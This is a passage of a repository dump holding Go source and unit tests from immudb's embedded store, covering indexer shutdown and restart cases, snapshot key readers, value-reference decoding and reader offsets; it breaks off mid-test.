err)\n\n\tindexer, err := store.getIndexerFor(nil)\n\trequire.NoError(t, err)\n\n\terr = indexer.Close()\n\trequire.NoError(t, err)\n\n\tv, tx, hc, err := indexer.Get(nil)\n\trequire.Zero(t, v)\n\trequire.Zero(t, tx)\n\trequire.Zero(t, hc)\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\ttxs, hCount, err := indexer.History(nil, 0, false, 0)\n\trequire.Zero(t, txs)\n\trequire.Zero(t, hCount)\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\tsnap, err := indexer.Snapshot()\n\trequire.Zero(t, snap)\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\tsnap, err = indexer.SnapshotMustIncludeTxIDWithRenewalPeriod(context.Background(), 0, 0)\n\trequire.Zero(t, snap)\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\t_, _, _, _, err = indexer.GetWithPrefix(nil, nil)\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\terr = indexer.Sync()\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\terr = indexer.Close()\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\terr = indexer.CompactIndex()\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n}\n\nfunc TestMaxIndexWaitees(t *testing.T) {\n\tstore, err := Open(t.TempDir(), DefaultOptions().WithMaxWaitees(1).WithMaxActiveTransactions(1))\n\trequire.NoError(t, err)\n\n\t// Grab errors from waiters\n\terrCh := make(chan error)\n\tfor i := 0; i < 2; i++ {\n\t\tgo func() {\n\t\t\terrCh <- store.WaitForIndexingUpto(context.Background(), 1)\n\t\t}()\n\t}\n\n\t// One goroutine should fail\n\tselect {\n\tcase err := <-errCh:\n\t\trequire.ErrorIs(t, err, watchers.ErrMaxWaitessLimitExceeded)\n\tcase <-time.After(time.Second):\n\t\trequire.Fail(t, \"Did not get waiter error\")\n\t}\n\n\t// Store one transaction\n\ttx, err := store.NewWriteOnlyTx(context.Background())\n\trequire.NoError(t, err)\n\n\terr = tx.Set([]byte{1}, nil, []byte{2})\n\trequire.NoError(t, err)\n\n\thdr, err := tx.AsyncCommit(context.Background())\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, 1, hdr.ID)\n\n\t// Other goroutine should succeed\n\tselect {\n\tcase err := <-errCh:\n\t\trequire.NoError(t, err)\n\tcase <-time.After(time.Second):\n\t\trequire.Fail(t, \"Did not get successful wait confirmation\")\n\t}\n}\n\nfunc TestRestartIndexCornerCases(t *testing.T) {\n\tfor _, c := range []struct {\n\t\tname string\n\t\tfn   func(t *testing.T, dir string, s *ImmuStore)\n\t}{\n\t\t{\n\t\t\t\"Closed store\",\n\t\t\tfunc(t *testing.T, dir string, s *ImmuStore) {\n\t\t\t\ts.Close()\n\n\t\t\t\tindexer, err := s.getIndexerFor(nil)\n\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\terr = indexer.restartIndex()\n\t\t\t\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"No nodes folder\",\n\t\t\tfunc(t *testing.T, dir string, s *ImmuStore) {\n\t\t\t\trequire.NoError(t, os.MkdirAll(filepath.Join(dir, \"index/commit1\"), 0777))\n\n\t\t\t\tindexer, err := s.getIndexerFor(nil)\n\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\terr = indexer.restartIndex()\n\t\t\t\trequire.NoError(t, err)\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"No commit folder\",\n\t\t\tfunc(t *testing.T, dir string, s *ImmuStore) {\n\t\t\t\trequire.NoError(t, os.MkdirAll(filepath.Join(dir, \"index/nodes1\"), 0777))\n\n\t\t\t\tindexer, err := s.getIndexerFor(nil)\n\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\terr = indexer.restartIndex()\n\t\t\t\trequire.NoError(t, err)\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"Invalid index structure\",\n\t\t\tfunc(t *testing.T, dir string, s *ImmuStore) {\n\t\t\t\trequire.NoError(t, os.MkdirAll(filepath.Join(dir, \"index/nodes1\"), 0777))\n\t\t\t\trequire.NoError(t, ioutil.WriteFile(filepath.Join(dir, \"index/commit1\"), []byte{}, 0777))\n\n\t\t\t\tindexer, err := s.getIndexerFor(nil)\n\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\terr = indexer.restartIndex()\n\t\t\t\trequire.NoError(t, err)\n\t\t\t},\n\t\t},\n\t} {\n\t\tt.Run(c.name, func(t *testing.T) {\n\t\t\td := t.TempDir()\n\t\t\tstore, err := Open(d, DefaultOptions())\n\t\t\trequire.NoError(t, err)\n\t\t\tdefer store.Close()\n\n\t\t\tc.fn(t, d, store)\n\t\t})\n\t}\n}\n\nfunc TestClosedIndexer(t *testing.T) {\n\ti := indexer{closed: true}\n\tvar err error\n\tdummy := []byte(\"dummy\")\n\n\t_, _, _, err = i.Get(dummy)\n\tassert.Error(t, err)\n\tassert.ErrorIs(t, err, ErrAlreadyClosed)\n\n\t_, _, err = i.History(dummy, 0, false, 0)\n\tassert.Error(t, err)\n\tassert.ErrorIs(t, err, ErrAlreadyClosed)\n\n\t_, err = i.Snapshot()\n\tassert.Error(t, err)\n\tassert.ErrorIs(t, err, ErrAlreadyClosed)\n\n\t_, err = i.SnapshotMustIncludeTxIDWithRenewalPeriod(context.Background(), 0, 0)\n\tassert.Error(t, err)\n\tassert.ErrorIs(t, err, ErrAlreadyClosed)\n\n\t_, _, _, err = i.GetBetween(dummy, 1, 2)\n\tassert.ErrorIs(t, err, ErrAlreadyClosed)\n\n\t_, _, _, _, err = i.GetWithPrefix(dummy, dummy)\n\tassert.ErrorIs(t, err, ErrAlreadyClosed)\n\n\terr = i.Sync()\n\tassert.Error(t, err)\n\tassert.ErrorIs(t, err, ErrAlreadyClosed)\n\n\terr = i.Close()\n\tassert.Error(t, err)\n\tassert.ErrorIs(t, err, ErrAlreadyClosed)\n}\n\nfunc TestIndexFlushShouldReleaseMemory(t *testing.T) {\n\td := t.TempDir()\n\tstore, err := Open(d, DefaultOptions())\n\trequire.NoError(t, err)\n\tdefer store.Close()\n\n\tkey := make([]byte, 100)\n\tvalue := make([]byte, 100)\n\n\tn := 100\n\tfor i := 0; i < n; i++ {\n\t\ttx, err := store.NewWriteOnlyTx(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx.Set(key, nil, value)\n\t\trequire.NoError(t, err)\n\t\t_, err = tx.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\t}\n\n\tidx, err := store.getIndexerFor([]byte{})\n\trequire.NoError(t, err)\n\trequire.NotNil(t, idx)\n\n\trequire.Greater(t, store.memSemaphore.Value(), uint64(0))\n\n\t_, _, err = idx.index.Flush()\n\trequire.NoError(t, err)\n\trequire.Zero(t, store.memSemaphore.Value())\n}\n\nfunc TestIndexerWriteStalling(t *testing.T) {\n\td := t.TempDir()\n\tstore, err := Open(d, DefaultOptions().WithMultiIndexing(true).WithIndexOptions(DefaultIndexOptions().WithMaxBufferedDataSize(1024).WithMaxGlobalBufferedDataSize(1024)))\n\trequire.NoError(t, err)\n\tdefer store.Close()\n\n\tnIndexes := 30\n\n\tfor i := 0; i < nIndexes; i++ {\n\t\terr = store.InitIndexing(&IndexSpec{\n\t\t\tTargetPrefix: []byte{byte(i)},\n\t\t\tTargetEntryMapper: func(x int) func(key []byte, value []byte) ([]byte, error) {\n\t\t\t\treturn func(key, value []byte) ([]byte, error) {\n\t\t\t\t\treturn append([]byte{byte(x)}, key...), nil\n\t\t\t\t}\n\t\t\t}(i),\n\t\t})\n\t\trequire.NoError(t, err)\n\t}\n\n\tkey := make([]byte, 100)\n\tvalue := make([]byte, 100)\n\n\tn := 100\n\tfor i := 0; i < n; i++ {\n\t\ttx, err := store.NewWriteOnlyTx(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx.Set(key, nil, value)\n\t\trequire.NoError(t, err)\n\t\t_, err = tx.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\t}\n\n\tfor i := 0; i < nIndexes; i++ {\n\t\tidx, err := store.getIndexerFor([]byte{byte(i)})\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, idx.Ts(), uint64(n))\n\t}\n}\n"
  },
  {
    "path": "embedded/store/key_reader.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage store\n\nimport (\n\t\"context\"\n\t\"crypto/sha256\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/tbtree\"\n)\n\ntype Snapshot struct {\n\tst             *ImmuStore\n\tprefix         []byte\n\tsnap           *tbtree.Snapshot\n\tts             time.Time\n\trefInterceptor valueRefInterceptor\n}\n\ntype valueRefInterceptor func(key []byte, valRef ValueRef) ValueRef\n\n// filter out entries when filter evaluates to a non-nil error\ntype FilterFn func(valRef ValueRef, t time.Time) error\n\nvar (\n\tIgnoreDeleted FilterFn = func(valRef ValueRef, t time.Time) error {\n\t\tmd := valRef.KVMetadata()\n\t\tif md != nil && md.Deleted() {\n\t\t\treturn ErrKeyNotFound\n\t\t}\n\t\treturn nil\n\t}\n\n\tIgnoreExpired FilterFn = func(valRef ValueRef, t time.Time) error {\n\t\tmd := valRef.KVMetadata()\n\t\tif md != nil && md.ExpiredAt(t) {\n\t\t\treturn ErrExpiredEntry\n\t\t}\n\t\treturn nil\n\t}\n)\n\ntype KeyReader interface {\n\tRead(ctx context.Context) (key []byte, val ValueRef, err error)\n\tReadBetween(ctx context.Context, initialTxID uint64, finalTxID uint64) (key []byte, val ValueRef, err error)\n\tReset() error\n\tClose() error\n}\n\ntype KeyReaderSpec struct {\n\tSeekKey        []byte\n\tEndKey         []byte\n\tPrefix         []byte\n\tInclusiveSeek  bool\n\tInclusiveEnd   bool\n\tIncludeHistory bool\n\tDescOrder      bool\n\tFilters        []FilterFn\n\tOffset         uint64\n}\n\nfunc (s *Snapshot) set(key, value []byte) error {\n\treturn s.snap.Set(key, value)\n}\n\nfunc (s *Snapshot) Get(ctx context.Context, key []byte) (valRef ValueRef, err error) {\n\treturn s.GetWithFilters(ctx, key, IgnoreExpired, IgnoreDeleted)\n}\n\nfunc (s *Snapshot) GetBetween(ctx context.Context, key []byte, initialTxID, finalTxID uint64) (valRef ValueRef, err error) {\n\tindexedVal, tx, hc, err := s.snap.GetBetween(key, initialTxID, finalTxID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvalRef, err = s.st.valueRefFrom(tx, hc, indexedVal)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif s.refInterceptor != nil {\n\t\treturn s.refInterceptor(key, valRef), nil\n\t}\n\n\treturn valRef, nil\n}\n\nfunc (s *Snapshot) GetWithFilters(ctx context.Context, key []byte, filters ...FilterFn) (valRef ValueRef, err error) {\n\tindexedVal, tx, hc, err := s.snap.Get(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvalRef, err = s.st.valueRefFrom(tx, hc, indexedVal)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, filter := range filters {\n\t\tif filter == nil {\n\t\t\treturn nil, fmt.Errorf(\"%w: invalid filter function\", ErrIllegalArguments)\n\t\t}\n\n\t\terr = filter(valRef, s.ts)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tif s.refInterceptor != nil {\n\t\treturn s.refInterceptor(key, valRef), nil\n\t}\n\n\treturn valRef, nil\n}\n\nfunc (s *Snapshot) GetWithPrefix(ctx context.Context, prefix []byte, neq []byte) (key []byte, valRef ValueRef, err error) {\n\treturn s.GetWithPrefixAndFilters(ctx, prefix, neq, IgnoreExpired, IgnoreDeleted)\n}\n\nfunc (s *Snapshot) GetWithPrefixAndFilters(ctx context.Context, prefix []byte, neq []byte, filters ...FilterFn) (key []byte, valRef ValueRef, err error) {\n\tkey, indexedVal, tx, hc, err := s.snap.GetWithPrefix(prefix, neq)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tvalRef, err = s.st.valueRefFrom(tx, hc, indexedVal)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tfor _, filter := range filters {\n\t\tif filter == nil {\n\t\t\treturn nil, nil, fmt.Errorf(\"%w: invalid filter function\", ErrIllegalArguments)\n\t\t}\n\n\t\terr = filter(valRef, s.ts)\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\t}\n\n\tif s.refInterceptor != nil {\n\t\treturn key, s.refInterceptor(key, valRef), nil\n\t}\n\n\treturn key, valRef, nil\n}\n\nfunc (s *Snapshot) History(key []byte, offset uint64, descOrder bool, limit int) (valRefs []ValueRef, hCount uint64, err error) {\n\ttimedValues, hCount, err := s.snap.History(key, offset, descOrder, limit)\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\n\tvalRefs = make([]ValueRef, len(timedValues))\n\n\tfor i, timedValue := range timedValues {\n\t\tvalRef, err := s.st.valueRefFrom(timedValue.Ts, hCount-uint64(i), timedValue.Value)\n\t\tif err != nil {\n\t\t\treturn nil, 0, err\n\t\t}\n\n\t\tif s.refInterceptor != nil {\n\t\t\tvalRef = s.refInterceptor(key, valRef)\n\t\t}\n\n\t\tvalRefs[i] = valRef\n\t}\n\n\treturn valRefs, hCount, nil\n}\n\nfunc (s *Snapshot) Ts() uint64 {\n\treturn s.snap.Ts()\n}\n\nfunc (s *Snapshot) Close() error {\n\treturn s.snap.Close()\n}\n\nfunc (s *Snapshot) NewKeyReader(spec KeyReaderSpec) (KeyReader, error) {\n\tr, err := s.snap.NewReader(tbtree.ReaderSpec{\n\t\tSeekKey:        spec.SeekKey,\n\t\tEndKey:         spec.EndKey,\n\t\tPrefix:         spec.Prefix,\n\t\tInclusiveSeek:  spec.InclusiveSeek,\n\t\tInclusiveEnd:   spec.InclusiveEnd,\n\t\tIncludeHistory: spec.IncludeHistory,\n\t\tDescOrder:      spec.DescOrder,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar refInterceptor valueRefInterceptor\n\n\tif s.refInterceptor == nil {\n\t\trefInterceptor = func(key []byte, valRef ValueRef) ValueRef {\n\t\t\treturn valRef\n\t\t}\n\t} else {\n\t\trefInterceptor = s.refInterceptor\n\t}\n\n\tfor _, filter := range spec.Filters {\n\t\tif filter == nil {\n\t\t\treturn nil, fmt.Errorf(\"%w: invalid filter function\", ErrIllegalArguments)\n\t\t}\n\t}\n\n\treturn &storeKeyReader{\n\t\tsnap:           s,\n\t\treader:         r,\n\t\tfilters:        spec.Filters,\n\t\tincludeHistory: spec.IncludeHistory,\n\t\trefInterceptor: refInterceptor,\n\t\toffset:         spec.Offset,\n\t}, nil\n}\n\ntype ValueRef interface {\n\tResolve() (val []byte, err error)\n\tTx() uint64\n\tHC() uint64\n\tTxMetadata() *TxMetadata\n\tKVMetadata() *KVMetadata\n\tHVal() [sha256.Size]byte\n\tLen() uint32\n\tVOff() int64\n}\n\ntype valueRef struct {\n\ttx     uint64\n\thc     uint64 // version\n\thVal   [sha256.Size]byte\n\tvOff   int64\n\tvalLen uint32\n\ttxmd   *TxMetadata\n\tkvmd   *KVMetadata\n\tst     *ImmuStore\n}\n\nfunc (st *ImmuStore) valueRefFrom(tx, hc uint64, indexedVal []byte) (ValueRef, error) {\n\t// vLen + vOff + vHash\n\tconst valrLen = lszSize + offsetSize + sha256.Size\n\n\tif len(indexedVal) < valrLen {\n\t\treturn nil, ErrCorruptedIndex\n\t}\n\n\ti := 0\n\n\tvalLen := binary.BigEndian.Uint32(indexedVal[i:])\n\ti += lszSize\n\n\tvOff := int64(binary.BigEndian.Uint64(indexedVal[i:]))\n\ti += offsetSize\n\n\tvar hVal [sha256.Size]byte\n\tcopy(hVal[:], indexedVal[i:])\n\ti += sha256.Size\n\n\tvar txmd *TxMetadata\n\tvar kvmd *KVMetadata\n\n\tif len(indexedVal) > i {\n\t\t// index created with metadata fields\n\t\t// vLen + vOff + vHash + txmdLen + txmd + kvmdLen + kvmd\n\t\tif len(indexedVal) < i+2*sszSize {\n\t\t\treturn nil, ErrCorruptedIndex\n\t\t}\n\n\t\ttxmdLen := int(binary.BigEndian.Uint16(indexedVal[i:]))\n\t\ti += sszSize\n\n\t\tif txmdLen > maxTxMetadataLen || len(indexedVal) < i+txmdLen+sszSize {\n\t\t\treturn nil, ErrCorruptedIndex\n\t\t}\n\n\t\tif txmdLen > 0 {\n\t\t\ttxmd = NewTxMetadata()\n\n\t\t\terr := txmd.ReadFrom(indexedVal[i : i+txmdLen])\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\ti += txmdLen\n\t\t}\n\n\t\tkvmdLen := int(binary.BigEndian.Uint16(indexedVal[i:]))\n\t\ti += sszSize\n\n\t\tif kvmdLen > maxKVMetadataLen || len(indexedVal) < i+kvmdLen {\n\t\t\treturn nil, ErrCorruptedIndex\n\t\t}\n\n\t\tif kvmdLen > 0 {\n\t\t\tkvmd = newReadOnlyKVMetadata()\n\n\t\t\terr := kvmd.unsafeReadFrom(indexedVal[i : i+kvmdLen])\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\ti += kvmdLen\n\t\t}\n\t}\n\n\tif len(indexedVal) > i {\n\t\treturn nil, ErrCorruptedIndex\n\t}\n\n\treturn &valueRef{\n\t\ttx:     tx,\n\t\thc:     hc,\n\t\thVal:   hVal,\n\t\tvOff:   vOff,\n\t\tvalLen: valLen,\n\t\ttxmd:   txmd,\n\t\tkvmd:   kvmd,\n\t\tst:     st,\n\t}, nil\n}\n\n// Resolve ...\nfunc (v *valueRef) Resolve() (val []byte, err error) {\n\trefVal := make([]byte, v.valLen)\n\n\tif v.kvmd != nil && v.kvmd.ExpiredAt(time.Now()) {\n\t\treturn nil, ErrExpiredEntry\n\t}\n\n\tif v.valLen == 0 {\n\t\t// while not required, nil is returned instead of an empty slice\n\n\t\t// TODO: this step should be done after reading the value to ensure proper validations are made\n\t\t// But current changes in ExportTx with truncated transactions are not providing the value length\n\t\t// for truncated transactions\n\t\treturn nil, nil\n\t}\n\n\t_, err = v.st.readValueAt(refVal, v.vOff, v.hVal, false)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn refVal, nil\n}\n\nfunc (v *valueRef) Tx() uint64 {\n\treturn v.tx\n}\n\nfunc (v *valueRef) HC() uint64 {\n\treturn v.hc\n}\n\nfunc (v *valueRef) TxMetadata() *TxMetadata {\n\treturn v.txmd\n}\n\nfunc (v *valueRef) KVMetadata() *KVMetadata {\n\treturn v.kvmd\n}\n\nfunc (v *valueRef) HVal() [sha256.Size]byte {\n\treturn v.hVal\n}\n\nfunc (v *valueRef) Len() uint32 {\n\treturn v.valLen\n}\n\nfunc (v *valueRef) VOff() int64 {\n\treturn v.vOff\n}\n\ntype storeKeyReader struct {\n\tsnap           *Snapshot\n\treader         *tbtree.Reader\n\tfilters        []FilterFn\n\tincludeHistory bool\n\n\trefInterceptor valueRefInterceptor\n\n\toffset  uint64\n\tskipped uint64\n}\n\nfunc (r *storeKeyReader) ReadBetween(ctx context.Context, initialTxID, finalTxID uint64) (key []byte, val ValueRef, err error) {\n\tfor {\n\t\tkey, indexedVal, tx, hc, err := r.reader.ReadBetween(initialTxID, finalTxID)\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\n\t\tval, err = r.snap.st.valueRefFrom(tx, hc, indexedVal)\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\n\t\tvalRef := r.refInterceptor(key, val)\n\n\t\tfilterEntry := false\n\n\t\tif !r.includeHistory {\n\t\t\tfor _, filter := range r.filters {\n\t\t\t\terr = filter(valRef, r.snap.ts)\n\t\t\t\tif err != nil {\n\t\t\t\t\tfilterEntry = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif filterEntry {\n\t\t\tcontinue\n\t\t}\n\n\t\tif r.skipped < r.offset {\n\t\t\tr.skipped++\n\t\t\tcontinue\n\t\t}\n\n\t\treturn key, valRef, nil\n\t}\n}\n\nfunc (r *storeKeyReader) Read(ctx context.Context) (key []byte, val ValueRef, err error) {\n\tfor {\n\t\tkey, indexedVal, tx, hc, err := r.reader.Read()\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\n\t\tval, err = r.snap.st.valueRefFrom(tx, hc, indexedVal)\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\n\t\tvalRef := r.refInterceptor(key, val)\n\n\t\tfilterEntry := false\n\n\t\tif !r.includeHistory {\n\t\t\tfor _, filter := range r.filters {\n\t\t\t\terr = filter(valRef, r.snap.ts)\n\t\t\t\tif err != nil {\n\t\t\t\t\tfilterEntry = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif filterEntry {\n\t\t\tcontinue\n\t\t}\n\n\t\tif r.skipped < r.offset {\n\t\t\tr.skipped++\n\t\t\tcontinue\n\t\t}\n\n\t\treturn key, valRef, nil\n\t}\n}\n\nfunc (r *storeKeyReader) Reset() error {\n\terr := r.reader.Reset()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tr.skipped = 0\n\n\treturn nil\n}\n\nfunc (r *storeKeyReader) Close() error {\n\treturn r.reader.Close()\n}\n"
  },
  {
    "path": "embedded/store/key_reader_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage store\n\nimport (\n\t\"context\"\n\t\"encoding/binary\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestImmudbStoreReader(t *testing.T) {\n\topts := DefaultOptions().WithSynced(false).WithMaxConcurrency(4)\n\timmuStore, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\n\tdefer immuStore.Close()\n\n\ttxCount := 100\n\teCount := 100\n\n\tfor i := 0; i < txCount; i++ {\n\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\tfor j := 0; j < eCount; j++ {\n\t\t\tvar k [8]byte\n\t\t\tbinary.BigEndian.PutUint64(k[:], uint64(j))\n\n\t\t\tvar v [8]byte\n\t\t\tbinary.BigEndian.PutUint64(v[:], uint64(i))\n\n\t\t\terr = tx.Set(k[:], nil, v[:])\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\t_, err = tx.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\t}\n\n\tsnap, err := immuStore.Snapshot(nil)\n\trequire.NoError(t, err)\n\n\tdefer snap.Close()\n\n\tfor i := 0; i < txCount; i++ {\n\t\tfor j := 0; j < eCount; j++ {\n\t\t\tvar k [8]byte\n\t\t\tbinary.BigEndian.PutUint64(k[:], uint64(j))\n\n\t\t\tvalRef, err := snap.GetBetween(context.Background(), k[:], 1, uint64(i+1))\n\t\t\trequire.NoError(t, err)\n\n\t\t\trequire.EqualValues(t, i+1, valRef.Tx())\n\t\t}\n\t}\n\n\treader, err := snap.NewKeyReader(KeyReaderSpec{})\n\trequire.NoError(t, err)\n\n\tdefer reader.Close()\n\n\tfor j := 0; j < eCount; j++ {\n\t\tvar k [8]byte\n\t\tbinary.BigEndian.PutUint64(k[:], uint64(j))\n\n\t\tvar v [8]byte\n\t\tbinary.BigEndian.PutUint64(v[:], uint64(txCount-1))\n\n\t\trk, vref, err := reader.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, k[:], rk)\n\n\t\trv, err := vref.Resolve()\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, v[:], rv)\n\t}\n\n\t_, _, err = reader.Read(context.Background())\n\trequire.ErrorIs(t, err, ErrNoMoreEntries)\n}\n\nfunc TestImmudbStoreReaderAsBefore(t *testing.T) {\n\topts := DefaultOptions().WithSynced(false).WithMaxConcurrency(4)\n\timmuStore, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\n\tdefer immustoreClose(t, immuStore)\n\n\ttxCount := 100\n\teCount := 100\n\n\tfor i := 0; i < txCount; i++ {\n\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\tfor j := 0; j < eCount; j++ {\n\t\t\tvar k [8]byte\n\t\t\tbinary.BigEndian.PutUint64(k[:], uint64(j))\n\n\t\t\tvar v [8]byte\n\t\t\tbinary.BigEndian.PutUint64(v[:], uint64(i))\n\n\t\t\terr = tx.Set(k[:], nil, v[:])\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\t_, err = tx.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\t}\n\n\tsnap, err := immuStore.Snapshot(nil)\n\trequire.NoError(t, err)\n\n\tdefer snap.Close()\n\n\treader, err := snap.NewKeyReader(KeyReaderSpec{})\n\trequire.NoError(t, err)\n\n\tdefer reader.Close()\n\n\tfor i := 0; i < txCount; i++ {\n\t\tfor j := 0; j < eCount; j++ {\n\t\t\tvar k [8]byte\n\t\t\tbinary.BigEndian.PutUint64(k[:], uint64(j))\n\n\t\t\tvar v [8]byte\n\t\t\tbinary.BigEndian.PutUint64(v[:], uint64(i))\n\n\t\t\trk, vref, err := reader.ReadBetween(context.Background(), 0, uint64(i+1))\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, k[:], rk)\n\n\t\t\trv, err := vref.Resolve()\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, v[:], rv)\n\t\t}\n\n\t\t_, _, err = reader.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreEntries)\n\n\t\terr = reader.Reset()\n\t\trequire.NoError(t, err)\n\t}\n}\n\nfunc TestImmudbStoreReaderWithOffset(t *testing.T) {\n\topts := DefaultOptions().WithSynced(false).WithMaxConcurrency(4)\n\timmuStore, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\n\tdefer immuStore.Close()\n\n\ttxCount := 10\n\teCount := 100\n\n\tfor i := 0; i < txCount; i++ {\n\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\tfor j := 0; j < eCount; j++ {\n\t\t\tvar k [8]byte\n\t\t\tbinary.BigEndian.PutUint64(k[:], uint64(j))\n\n\t\t\tvar v [8]byte\n\t\t\tbinary.BigEndian.PutUint64(v[:], uint64(i))\n\n\t\t\terr = tx.Set(k[:], nil, v[:])\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\t_, err = tx.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\t}\n\n\tsnap, err := immuStore.Snapshot(nil)\n\trequire.NoError(t, err)\n\n\tdefer snap.Close()\n\n\toffset := eCount - 10\n\n\treader, err := snap.NewKeyReader(KeyReaderSpec{\n\t\tOffset: uint64(offset),\n\t})\n\trequire.NoError(t, err)\n\n\tdefer reader.Close()\n\n\tfor j := 0; j < 10; j++ {\n\t\tvar k [8]byte\n\t\tbinary.BigEndian.PutUint64(k[:], uint64(j+offset))\n\n\t\tvar v [8]byte\n\t\tbinary.BigEndian.PutUint64(v[:], uint64(txCount-1))\n\n\t\trk, vref, err := reader.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, k[:], rk)\n\n\t\trv, err := vref.Resolve()\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, v[:], rv)\n\t}\n\n\t_, _, err = reader.Read(context.Background())\n\trequire.ErrorIs(t, err, ErrNoMoreEntries)\n}\n\nfunc TestImmudbStoreReaderAsBeforeWithOffset(t *testing.T) {\n\topts := DefaultOptions().WithSynced(false).WithMaxConcurrency(4)\n\timmuStore, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\n\tdefer immuStore.Close()\n\n\ttxCount := 10\n\teCount := 100\n\n\tfor i := 0; i < txCount; i++ {\n\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\tfor j := 0; j < eCount; j++ {\n\t\t\tvar k [8]byte\n\t\t\tbinary.BigEndian.PutUint64(k[:], uint64(j))\n\n\t\t\tvar v [8]byte\n\t\t\tbinary.BigEndian.PutUint64(v[:], uint64(i))\n\n\t\t\terr = tx.Set(k[:], nil, v[:])\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\t_, err = tx.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\t}\n\n\tsnap, err := immuStore.Snapshot(nil)\n\trequire.NoError(t, err)\n\n\tdefer snap.Close()\n\n\toffset := eCount - 10\n\n\treader, err := snap.NewKeyReader(KeyReaderSpec{\n\t\tOffset: uint64(offset),\n\t})\n\trequire.NoError(t, err)\n\n\tdefer reader.Close()\n\n\tfor i := 0; i < txCount; i++ {\n\t\tfor j := 0; j < eCount-offset; j++ {\n\t\t\tvar k 